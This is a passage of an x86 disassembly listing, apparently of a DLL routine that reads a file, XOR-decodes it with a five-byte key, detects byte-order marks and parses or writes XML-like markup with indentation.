		mov	[eax+4], ebx
		mov	[eax+8], ebx


loc_10019DD9:				; CODE XREF: sub_10019DAA+21j
		mov	ecx, [ebp+arg_0]
		push	offset dword_10073FF0
		call	sub_1001A8C7
		jmp	loc_10019FE3
; ---------------------------------------------------------------------------


loc_10019DEB:				; CODE XREF: sub_10019DAA+1Aj
		push	ebx		; char
		push	ebx		; Memory
		push	ebx		; int
		lea	ecx, [ebp+arg_4]
		call	sub_100190FC
		push	1
		lea	eax, [ebp+Size]
		pop	edi
		lea	ecx, [ebp+arg_4]
		push	eax		; Size
		mov	[ebp+var_4], edi
		mov	[ebp+Size], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_20], edi
		call	sub_10019709
		mov	esi, [ebp+var_34]
		lea	ecx, [ebp+arg_4]
		mov	[ebp+var_14], esi
		call	sub_1001AA40
		cmp	eax, edi
		jnz	short loc_10019E6A
		lea	ecx, [ebp+arg_4]
		call	sub_1001AA4B
		cmp	eax, edi
		jnz	short loc_10019E6A
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		lea	ecx, [ebp+arg_4]
		call	sub_1001AAAC
		push	eax
		lea	ecx, [ebp+arg_4]
		mov	byte ptr [ebp+var_4], 2
		call	sub_1001A8A2
		lea	ecx, [ebp+var_10]
		mov	byte ptr [ebp+var_4], 1
		call	sub_1001A728


loc_10019E6A:				; CODE XREF: sub_10019DAA+8Cj
					; sub_10019DAA+98j
		cmp	esi, ebx
		jz	short loc_10019E84
		cmp	esi, edi
		jz	short loc_10019E84
		push	offset dword_10073FF0
		lea	ecx, [ebp+arg_4]
		call	sub_1001A8A2
		jmp	loc_10019FA3
; ---------------------------------------------------------------------------


loc_10019E84:				; CODE XREF: sub_10019DAA+C2j
					; sub_10019DAA+C6j
		lea	ecx, [ebp+arg_4]
		call	sub_1001AA36
		cmp	[ebp+Str], ebx
		mov	[ebp+var_10], eax
		jz	loc_10019FA3
		push	[ebp+Str]	; Str
		call	strlen	; strlen
		test	eax, eax
		pop	ecx
		jz	loc_10019FA3
		cmp	[ebp+var_10], ebx
		mov	esi, ds:_mbsicmp
		jz	short loc_10019ECC
		lea	ecx, [ebp+arg_4]
		call	sub_1001AA36
		push	[ebp+Str]
		push	eax
		call	esi ; _mbsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_10019FA0


loc_10019ECC:				; CODE XREF: sub_10019DAA+108j
		mov	[ebp+var_10], ebx
		lea	ecx, [ebp+arg_4]
		mov	byte ptr [ebp+var_4], 3
		xor	edi, edi
		call	sub_1001AA40
		test	eax, eax
		jle	short loc_10019F44


loc_10019EE1:				; CODE XREF: sub_10019DAA+198j
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		lea	ecx, [ebp+arg_4]
		call	sub_1001AAAC
		push	eax
		lea	ecx, [ebp+var_10]
		mov	byte ptr [ebp+var_4], 4
		call	sub_1001A8A2
		lea	ecx, [ebp+var_1C]
		mov	byte ptr [ebp+var_4], 3
		call	sub_1001A728
		lea	ecx, [ebp+var_10]
		call	sub_1001AA36
		push	[ebp+Str]
		push	eax
		call	esi ; _mbsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_10019F44
		lea	ecx, [ebp+var_10]
		call	sub_1001AADF
		test	al, al
		jz	short loc_10019F37
		lea	eax, [ebp+var_10]
		lea	ecx, [ebp+arg_4]
		push	eax
		call	sub_1001A8A2
		xor	edi, edi
		jmp	short loc_10019F38
; ---------------------------------------------------------------------------


loc_10019F37:				; CODE XREF: sub_10019DAA+17Bj
		inc	edi


loc_10019F38:				; CODE XREF: sub_10019DAA+18Bj
		lea	ecx, [ebp+arg_4]
		call	sub_1001AA40
		cmp	edi, eax
		jl	short loc_10019EE1


loc_10019F44:				; CODE XREF: sub_10019DAA+135j
					; sub_10019DAA+16Fj
		lea	ecx, [ebp+arg_4]
		call	sub_1001AA40
		cmp	edi, eax
		jl	short loc_10019F85
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jz	short loc_10019F63
		mov	dword ptr [eax], 0Dh
		mov	[eax+4], ebx
		mov	[eax+8], ebx


loc_10019F63:				; CODE XREF: sub_10019DAA+1ABj
		mov	ecx, [ebp+arg_0]
		push	offset dword_10073FF0
		call	sub_1001A8C7
		lea	ecx, [ebp+var_10]
		mov	[ebp+var_18], 1
		mov	byte ptr [ebp+var_4], 1
		call	sub_1001A728
		jmp	short loc_10019FD8
; ---------------------------------------------------------------------------


loc_10019F85:				; CODE XREF: sub_10019DAA+1A4j
		lea	eax, [ebp+var_10]
		lea	ecx, [ebp+arg_4]
		push	eax
		call	sub_1001A8A2
		lea	ecx, [ebp+var_10]
		mov	byte ptr [ebp+var_4], 1
		call	sub_1001A728
		push	1
		pop	edi


loc_10019FA0:				; CODE XREF: sub_10019DAA+11Cj
		mov	esi, [ebp+var_14]


loc_10019FA3:				; CODE XREF: sub_10019DAA+D5j
					; sub_10019DAA+E8j ...
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jz	short loc_10019FC9
		cmp	esi, ebx
		mov	[eax], esi
		jz	short loc_10019FC9
		cmp	esi, edi
		jnz	short loc_10019FBA
		mov	ecx, [ebp+var_38]
		mov	[ebp+var_3C], ecx


loc_10019FBA:				; CODE XREF: sub_10019DAA+208j
		push	eax
		push	[ebp+var_3C]
		push	[ebp+Size]
		call	sub_10019FF5
		add	esp, 0Ch


loc_10019FC9:				; CODE XREF: sub_10019DAA+1FEj
					; sub_10019DAA+204j
		mov	ecx, [ebp+arg_0]
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_1001A8C7
		mov	[ebp+var_18], edi


loc_10019FD8:				; CODE XREF: sub_10019DAA+1D9j
		lea	ecx, [ebp+arg_4]
		mov	byte ptr [ebp+var_4], bl
		call	sub_1001A728


loc_10019FE3:				; CODE XREF: sub_10019DAA+3Cj
		mov	ecx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_10019DAA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10019FF5	proc near		; CODE XREF: sub_10019DAA+217p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], eax
		push	1
		xor	eax, eax
		pop	edi
		cmp	ebx, eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edi
		mov	[esi+4], edi
		mov	[esi+8], edi
		jle	short loc_1001A052


loc_1001A034:				; CODE XREF: sub_10019FF5+5Bj
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_10019D87
		cmp	al, 0Ah
		pop	ecx
		jz	short loc_1001A047
		inc	dword ptr [esi+8]
		jmp	short loc_1001A04D
; ---------------------------------------------------------------------------


loc_1001A047:				; CODE XREF: sub_10019FF5+4Bj
		inc	dword ptr [esi+4]
		mov	[esi+8], edi


loc_1001A04D:				; CODE XREF: sub_10019FF5+50j
		cmp	[ebp+var_20], ebx
		jl	short loc_1001A034


loc_1001A052:				; CODE XREF: sub_10019FF5+3Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10019FF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1001A057(int,	char *Filename,	char *Str, int)

sub_1001A057	proc near		; CODE XREF: sub_1000878F+AFp
					; sub_1000A318+187p

var_2C		= dword	ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
File		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Filename	= dword	ptr  0Ch
Str		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	eax, offset loc_1001D2E7
		call	_EH_prolog	; _EH_prolog
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_C]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		mov	[ebp+var_1C], ebx
		jz	short loc_1001A079
		mov	[esi+4], ebx
		mov	[esi+8], ebx


loc_1001A079:				; CODE XREF: sub_1001A057+1Aj
		push	offset Mode	; "rb"
		push	[ebp+Filename]	; Filename
		call	ds:fopen	; fopen
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	[ebp+File], edi
		jnz	short loc_1001A0AE
		cmp	esi, ebx
		jz	short loc_1001A09C
		mov	dword ptr [esi], 0Ch


loc_1001A09C:				; CODE XREF: sub_1001A057+3Dj
		mov	ecx, [ebp+arg_0]
		push	offset dword_10073FF0
		call	sub_1001A8C7
		jmp	loc_1001A21B
; ---------------------------------------------------------------------------


loc_1001A0AE:				; CODE XREF: sub_1001A057+39j
		mov	esi, ds:fseek
		push	2		; Origin
		push	ebx		; Offset
		push	edi		; File
		call	esi ; fseek
		push	edi		; File
		call	ds:ftell	; ftell
		mov	edi, eax
		add	esp, 10h
		cmp	edi, ebx
		mov	[ebp+Filename],	ebx
		jnz	short loc_1001A0EF
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jz	short loc_1001A0DA
		mov	dword ptr [eax], 2


loc_1001A0DA:				; CODE XREF: sub_1001A057+7Bj
		push	[ebp+File]	; File
		call	ds:fclose	; fclose
		mov	[esp+2Ch+var_2C], offset dword_10073FF0
		jmp	loc_1001A1D2
; ---------------------------------------------------------------------------


loc_1001A0EF:				; CODE XREF: sub_1001A057+74j
		push	ebx		; Origin
		push	ebx		; Offset
		push	[ebp+File]	; File
		call	esi ; fseek
		lea	eax, [edi+4]
		push	eax		; Size
		call	ds:malloc	; malloc
		push	[ebp+File]	; File
		mov	esi, eax
		push	1		; Count
		push	edi		; ElementSize
		push	esi		; DstBuf
		call	ds:fread	; fread
		add	esp, 20h
		push	5
		pop	eax
		cmp	edi, eax
		mov	[ebp+var_10], eax
		jle	short loc_1001A136


loc_1001A11C:				; CODE XREF: sub_1001A057+DDj
		mov	ecx, [ebp+var_10]
		xor	eax, eax
		add	ecx, esi


loc_1001A123:				; CODE XREF: sub_1001A057+D5j
		mov	dl, [eax+esi]
		xor	[ecx], dl
		inc	eax
		cmp	eax, 5
		jl	short loc_1001A123
		inc	[ebp+var_10]
		cmp	[ebp+var_10], edi
		jl	short loc_1001A11C


loc_1001A136:				; CODE XREF: sub_1001A057+C3j
		push	[ebp+File]	; File
		call	ds:fclose	; fclose
		lea	eax, [esi+edi]
		pop	ecx
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl
		mov	[eax+3], bl
		cmp	byte_10023EEC, bl
		jz	short loc_1001A1BC
		push	edi		; iSize
		push	esi		; lpv
		call	sub_10018943
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_1001A1A4
		mov	al, [esi]
		cmp	al, 0EFh
		jnz	short loc_1001A176
		cmp	byte ptr [esi+1], 0FFh
		jnz	short loc_1001A176
		mov	[ebp+Filename],	2


loc_1001A176:				; CODE XREF: sub_1001A057+110j
					; sub_1001A057+116j
		cmp	al, 0FFh
		jnz	short loc_1001A187
		cmp	byte ptr [esi+1], 0FEh
		jnz	short loc_1001A187
		mov	[ebp+Filename],	2


loc_1001A187:				; CODE XREF: sub_1001A057+121j
					; sub_1001A057+127j
		mov	eax, [ebp+Filename]
		add	eax, esi
		push	eax		; lpWideCharStr
		call	sub_10018954
		push	esi		; Memory
		mov	edi, eax
		call	ds:free	; free
		pop	ecx
		mov	esi, edi
		pop	ecx
		mov	[ebp+Filename],	ebx
		jmp	short loc_1001A1BC
; ---------------------------------------------------------------------------


loc_1001A1A4:				; CODE XREF: sub_1001A057+10Aj
		cmp	byte ptr [esi],	0EFh
		jnz	short loc_1001A1BC
		cmp	byte ptr [esi+1], 0BBh
		jnz	short loc_1001A1BC
		cmp	byte ptr [esi+2], 0BFh
		jnz	short loc_1001A1BC
		mov	[ebp+Filename],	3


loc_1001A1BC:				; CODE XREF: sub_1001A057+FDj
					; sub_1001A057+14Bj ...
		cmp	esi, ebx
		jnz	short loc_1001A1DC
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jz	short loc_1001A1CD
		mov	dword ptr [eax], 0Fh


loc_1001A1CD:				; CODE XREF: sub_1001A057+16Ej
		push	offset dword_10073FF0


loc_1001A1D2:				; CODE XREF: sub_1001A057+93j
		mov	ecx, [ebp+arg_0]
		call	sub_1001A8C7
		jmp	short loc_1001A21B
; ---------------------------------------------------------------------------


loc_1001A1DC:				; CODE XREF: sub_1001A057+167j
		push	[ebp+arg_C]	; int
		mov	eax, [ebp+Filename]
		add	eax, esi
		push	[ebp+Str]	; Str
		push	eax		; int
		lea	eax, [ebp+var_18]
		push	eax		; int
		call	sub_10019DAA
		push	1
		pop	edi
		push	esi		; Memory
		mov	[ebp+var_4], edi
		call	ds:free	; free
		mov	ecx, [ebp+arg_0]
		add	esp, 14h
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_1001A8C7
		lea	ecx, [ebp+var_18]
		mov	[ebp+var_1C], edi
		mov	byte ptr [ebp+var_4], bl
		call	sub_1001A728


loc_1001A21B:				; CODE XREF: sub_1001A057+52j
					; sub_1001A057+183j
		mov	ecx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_1001A057	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001A22D	proc near		; CODE XREF: sub_1001A22D+389p
					; sub_1001A6C0+35p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		or	[ebp+var_14], 0FFFFFFFFh
		xor	esi, esi
		mov	eax, [edi+0Ch]
		add	eax, [edi+8]
		add	eax, [edi+4]
		mov	[ebp+var_10], eax
		mov	eax, [edi]
		cmp	eax, esi
		jz	short loc_1001A25D
		push	eax		; Str
		call	strlen	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		jmp	short loc_1001A260
; ---------------------------------------------------------------------------


loc_1001A25D:				; CODE XREF: sub_1001A22D+22j
		mov	[ebp+var_C], esi


loc_1001A260:				; CODE XREF: sub_1001A22D+2Ej
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+arg_4]
		test	eax, eax
		jz	loc_1001A3B1
		mov	esi, [ebp+arg_8]
		inc	esi
		neg	esi
		sbb	esi, esi
		and	esi, [ebp+arg_8]
		test	ebx, ebx
		jz	short loc_1001A2C1
		test	esi, esi
		jz	short loc_1001A29B
		lea	ecx, [esi]
		mov	eax, 9090909h
		mov	edx, ecx
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	edi, [ebp+arg_0]


loc_1001A29B:				; CODE XREF: sub_1001A22D+52j
		mov	byte ptr [esi+ebx], 3Ch
		inc	esi
		cmp	byte ptr [edi+14h], 0
		jz	short loc_1001A2AB
		mov	byte ptr [esi+ebx], 3Fh
		inc	esi


loc_1001A2AB:				; CODE XREF: sub_1001A22D+77j
		push	dword ptr [edi]	; Source
		lea	eax, [esi+ebx]
		push	eax		; Dest
		call	strcpy	; strcpy
		add	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		mov	byte ptr [esi+ebx], 20h
		jmp	short loc_1001A2CB
; ---------------------------------------------------------------------------


loc_1001A2C1:				; CODE XREF: sub_1001A22D+4Ej
		cmp	byte ptr [edi+14h], 0
		lea	esi, [esi+eax+2]
		jz	short loc_1001A2CC


loc_1001A2CB:				; CODE XREF: sub_1001A22D+92j
		inc	esi


loc_1001A2CC:				; CODE XREF: sub_1001A22D+9Cj
		mov	eax, [edi+28h]
		and	[ebp+var_4], 0
		cmp	dword ptr [edi+10h], 0
		mov	[ebp+var_8], eax
		jle	loc_1001A37A


loc_1001A2E0:				; CODE XREF: sub_1001A22D+147j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_1001A2F5
		push	eax		; Str
		call	strlen	; strlen
		pop	ecx
		mov	[ebp+arg_4], eax
		jmp	short loc_1001A2F9
; ---------------------------------------------------------------------------


loc_1001A2F5:				; CODE XREF: sub_1001A22D+BAj
		and	[ebp+arg_4], 0


loc_1001A2F9:				; CODE XREF: sub_1001A22D+C6j
		cmp	[ebp+arg_4], 0
		jz	short loc_1001A367
		test	ebx, ebx
		jz	short loc_1001A313
		mov	eax, [ebp+var_8]
		push	dword ptr [eax]	; Source
		lea	eax, [esi+ebx]
		push	eax		; Dest
		call	strcpy	; strcpy
		pop	ecx
		pop	ecx


loc_1001A313:				; CODE XREF: sub_1001A22D+D4j
		mov	eax, [ebp+var_8]
		add	esi, [ebp+arg_4]
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_1001A35E
		push	eax
		call	sub_10018DD2
		test	ebx, ebx
		pop	ecx
		mov	[ebp+arg_4], eax
		jz	short loc_1001A357
		mov	byte ptr [esi+ebx], 3Dh
		mov	byte ptr [esi+ebx+1], 22h
		test	eax, eax
		jz	short loc_1001A34D
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+4] ; int
		lea	eax, [esi+ebx+2]
		push	eax		; Dest
		call	sub_10018D54
		pop	ecx
		pop	ecx


loc_1001A34D:				; CODE XREF: sub_1001A22D+10Cj
		mov	eax, [ebp+arg_4]
		add	eax, esi
		mov	byte ptr [eax+ebx+2], 22h


loc_1001A357:				; CODE XREF: sub_1001A22D+FFj
		mov	eax, [ebp+arg_4]
		lea	esi, [esi+eax+3]


loc_1001A35E:				; CODE XREF: sub_1001A22D+F1j
		test	ebx, ebx
		jz	short loc_1001A366
		mov	byte ptr [esi+ebx], 20h


loc_1001A366:				; CODE XREF: sub_1001A22D+133j
		inc	esi


loc_1001A367:				; CODE XREF: sub_1001A22D+D0j
		add	[ebp+var_8], 8
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [edi+10h]
		jl	loc_1001A2E0


loc_1001A37A:				; CODE XREF: sub_1001A22D+ADj
		cmp	byte ptr [edi+14h], 0
		jz	short loc_1001A39F
		test	ebx, ebx
		jz	short loc_1001A38D
		mov	byte ptr [esi+ebx-1], 3Fh
		mov	byte ptr [esi+ebx], 3Eh


loc_1001A38D:				; CODE XREF: sub_1001A22D+155j
		inc	esi


loc_1001A38E:				; CODE XREF: sub_1001A22D+17Aj
					; sub_1001A22D+181j
		cmp	[ebp+arg_8], 0FFFFFFFFh
		jz	short loc_1001A3C9
		test	ebx, ebx
		jz	short loc_1001A39C
		mov	byte ptr [esi+ebx], 0Ah


loc_1001A39C:				; CODE XREF: sub_1001A22D+169j
		inc	esi
		jmp	short loc_1001A3B1
; ---------------------------------------------------------------------------


loc_1001A39F:				; CODE XREF: sub_1001A22D+151j
		cmp	[ebp+var_10], 0
		jz	short loc_1001A3B0
		test	ebx, ebx
		jz	short loc_1001A38E
		mov	byte ptr [esi+ebx-1], 3Eh
		jmp	short loc_1001A38E
; ---------------------------------------------------------------------------


loc_1001A3B0:				; CODE XREF: sub_1001A22D+176j
		dec	esi


loc_1001A3B1:				; CODE XREF: sub_1001A22D+3Bj
					; sub_1001A22D+170j
		mov	eax, [ebp+arg_8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_1001A3C9
		cmp	[ebp+var_C], 0
		jz	short loc_1001A3C6
		cmp	byte ptr [edi+14h], 0
		jnz	short loc_1001A3C6
		inc	eax


loc_1001A3C6:				; CODE XREF: sub_1001A22D+190j
					; sub_1001A22D+196j
		mov	[ebp+var_14], eax


loc_1001A3C9:				; CODE XREF: sub_1001A22D+165j
					; sub_1001A22D+18Aj
		and	[ebp+var_4], 0
		cmp	[ebp+var_10], 0
		jle	loc_1001A5D2


loc_1001A3D7:				; CODE XREF: sub_1001A22D+39Fj
		mov	eax, [edi+2Ch]
		mov	ecx, [ebp+var_4]
		mov	eax, [eax+ecx*4]
		mov	ecx, eax
		and	ecx, 3
		sub	ecx, 0
		jz	loc_1001A59E
		dec	ecx
		dec	ecx
		jz	loc_1001A510
		dec	ecx
		jnz	loc_1001A5C0
		mov	ecx, [ebp+arg_0]
		sar	eax, 2
		mov	ecx, [ecx+24h]
		lea	eax, [eax+eax*2]
		lea	edi, [ecx+eax*4]
		mov	[ebp+var_8], edi
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_1001A422
		push	eax		; Str
		call	strlen	; strlen
		pop	ecx
		mov	[ebp+arg_4], eax
		jmp	short loc_1001A426
; ---------------------------------------------------------------------------


loc_1001A422:				; CODE XREF: sub_1001A22D+1E7j
		and	[ebp+arg_4], 0


loc_1001A426:				; CODE XREF: sub_1001A22D+1F3j
		cmp	[ebp+arg_4], 0
		jz	short loc_1001A496
		mov	eax, [ebp+arg_8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_1001A481
		test	ebx, ebx
		jz	short loc_1001A473
		inc	eax
		lea	edx, [esi+ebx]
		mov	ecx, eax
		dec	eax
		test	ecx, ecx
		jz	short loc_1001A45E
		lea	ecx, [eax+1]
		mov	edi, edx
		mov	edx, ecx
		mov	eax, 9090909h
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	edi, [ebp+var_8]


loc_1001A45E:				; CODE XREF: sub_1001A22D+214j
		mov	ecx, [ebp+arg_8]
		push	dword ptr [edi+4] ; Source
		lea	eax, [esi+ebx]
		lea	eax, [eax+ecx+1]
		push	eax		; Dest
		call	strcpy	; strcpy
		pop	ecx
		pop	ecx


loc_1001A473:				; CODE XREF: sub_1001A22D+209j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		add	eax, ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_1001A496
; ---------------------------------------------------------------------------


loc_1001A481:				; CODE XREF: sub_1001A22D+205j
		test	ebx, ebx
		jz	short loc_1001A493
		push	dword ptr [edi+4] ; Source
		lea	eax, [esi+ebx]
		push	eax		; Dest
		call	strcpy	; strcpy
		pop	ecx
		pop	ecx


loc_1001A493:				; CODE XREF: sub_1001A22D+256j
		add	esi, [ebp+arg_4]


loc_1001A496:				; CODE XREF: sub_1001A22D+1FDj
					; sub_1001A22D+252j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_1001A4A8
		push	eax		; Str
		call	strlen	; strlen
		pop	ecx
		mov	[ebp+arg_4], eax
		jmp	short loc_1001A4AC
; ---------------------------------------------------------------------------


loc_1001A4A8:				; CODE XREF: sub_1001A22D+26Dj
		and	[ebp+arg_4], 0


loc_1001A4AC:				; CODE XREF: sub_1001A22D+279j
		cmp	[ebp+arg_4], 0
		jz	short loc_1001A4C6
		test	ebx, ebx
		jz	short loc_1001A4C3
		push	dword ptr [edi]	; Source
		lea	eax, [esi+ebx]
		push	eax		; Dest
		call	strcpy	; strcpy
		pop	ecx
		pop	ecx


loc_1001A4C3:				; CODE XREF: sub_1001A22D+287j
		add	esi, [ebp+arg_4]


loc_1001A4C6:				; CODE XREF: sub_1001A22D+283j
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_1001A4D9
		push	eax		; Str
		call	strlen	; strlen
		pop	ecx
		mov	[ebp+arg_4], eax
		jmp	short loc_1001A4DD
; ---------------------------------------------------------------------------


loc_1001A4D9:				; CODE XREF: sub_1001A22D+29Ej
		and	[ebp+arg_4], 0


loc_1001A4DD:				; CODE XREF: sub_1001A22D+2AAj
		cmp	[ebp+arg_4], 0
		jz	short loc_1001A4F8
		test	ebx, ebx
		jz	short loc_1001A4F5
		push	dword ptr [edi+8] ; Source
		lea	eax, [esi+ebx]
		push	eax		; Dest
		call	strcpy	; strcpy
		pop	ecx
		pop	ecx


loc_1001A4F5:				; CODE XREF: sub_1001A22D+2B8j
		add	esi, [ebp+arg_4]


loc_1001A4F8:				; CODE XREF: sub_1001A22D+2B4j
		cmp	[ebp+arg_8], 0FFFFFFFFh
		jz	loc_1001A5C0
		test	ebx, ebx
		jz	short loc_1001A50A
		mov	byte ptr [esi+ebx], 0Ah


loc_1001A50A:				; CODE XREF: sub_1001A22D+2D7j
		inc	esi
		jmp	loc_1001A5C0
; ---------------------------------------------------------------------------


loc_1001A510:				; CODE XREF: sub_1001A22D+1C3j
		mov	ecx, [edi+20h]
		sar	eax, 2
		mov	edi, [ecx+eax*4]
		push	edi
		mov	[ebp+var_8], edi
		call	sub_10018DD2
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_4], eax
		jz	loc_1001A5C0
		mov	eax, [ebp+arg_8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_1001A589
		test	ebx, ebx
		jz	short loc_1001A57E
		inc	eax
		lea	edi, [esi+ebx]
		mov	ecx, eax
		dec	eax
		test	ecx, ecx
		jz	short loc_1001A55B
		lea	ecx, [eax+1]
		mov	eax, 9090909h
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_1001A55B:				; CODE XREF: sub_1001A22D+316j
		mov	edi, [ebp+arg_8]
		push	[ebp+var_8]	; int
		lea	eax, [esi+ebx]
		lea	eax, [eax+edi+1]
		push	eax		; Dest
		call	sub_10018D54
		mov	eax, [ebp+arg_4]
		pop	ecx
		add	eax, esi
		pop	ecx
		add	eax, ebx
		mov	byte ptr [eax+edi+1], 0Ah
		mov	eax, edi


loc_1001A57E:				; CODE XREF: sub_1001A22D+30Bj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		lea	esi, [esi+ecx+2]
		jmp	short loc_1001A5C0
; ---------------------------------------------------------------------------


loc_1001A589:				; CODE XREF: sub_1001A22D+307j
		test	ebx, ebx
		jz	short loc_1001A599
		lea	eax, [esi+ebx]
		push	edi		; int
		push	eax		; Dest
		call	sub_10018D54
		pop	ecx
		pop	ecx


loc_1001A599:				; CODE XREF: sub_1001A22D+35Ej
		add	esi, [ebp+arg_4]
		jmp	short loc_1001A5C0
; ---------------------------------------------------------------------------


loc_1001A59E:				; CODE XREF: sub_1001A22D+1BBj
		push	[ebp+var_14]
		mov	ecx, ebx
		neg	ecx
		lea	edx, [esi+ebx]
		sbb	ecx, ecx
		and	ecx, edx
		push	ecx
		mov	ecx, [edi+1Ch]
		sar	eax, 2
		push	dword ptr [ecx+eax*4]
		call	sub_1001A22D
		add	esp, 0Ch
		add	esi, eax


loc_1001A5C0:				; CODE XREF: sub_1001A22D+1CAj
					; sub_1001A22D+2CFj ...
		inc	[ebp+var_4]
		mov	edi, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_10]
		jl	loc_1001A3D7


loc_1001A5D2:				; CODE XREF: sub_1001A22D+1A4j
		mov	eax, [ebp+var_C]
		test	eax, eax
		jz	loc_1001A6B9
		cmp	byte ptr [edi+14h], 0
		jnz	loc_1001A6B9
		cmp	[ebp+var_10], 0
		jz	loc_1001A679
		test	ebx, ebx
		jz	short loc_1001A663
		cmp	[ebp+arg_8], 0FFFFFFFFh
		jz	short loc_1001A622
		cmp	[ebp+arg_8], 0
		jz	short loc_1001A622
		mov	eax, [ebp+arg_8]
		lea	edi, [esi+ebx]
		lea	ecx, [eax]
		mov	eax, 9090909h
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		add	esi, [ebp+arg_8]
		rep stosb
		mov	edi, [ebp+arg_0]


loc_1001A622:				; CODE XREF: sub_1001A22D+3CCj
					; sub_1001A22D+3D2j
		lea	eax, [esi+ebx]
		push	offset asc_100240AC ; "</"
		push	eax		; Dest
		call	strcpy	; strcpy
		push	dword ptr [edi]	; Source
		inc	esi
		inc	esi
		lea	eax, [esi+ebx]
		push	eax		; Dest
		call	strcpy	; strcpy
		add	esi, [ebp+var_C]
		add	esp, 10h
		cmp	[ebp+arg_8], 0FFFFFFFFh
		jnz	short loc_1001A65C
		lea	eax, [esi+ebx]
		push	offset asc_10024030 ; ">"
		push	eax		; Dest
		call	strcpy	; strcpy
		pop	ecx
		inc	esi
		pop	ecx
		jmp	short loc_1001A6B9
; ---------------------------------------------------------------------------


loc_1001A65C:				; CODE XREF: sub_1001A22D+41Aj
		push	offset asc_100240A8 ; ">\n"
		jmp	short loc_1001A688
; ---------------------------------------------------------------------------


loc_1001A663:				; CODE XREF: sub_1001A22D+3C6j
		mov	ecx, [ebp+arg_8]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_1001A673
		add	eax, ecx
		lea	esi, [esi+eax+4]
		jmp	short loc_1001A6B9
; ---------------------------------------------------------------------------


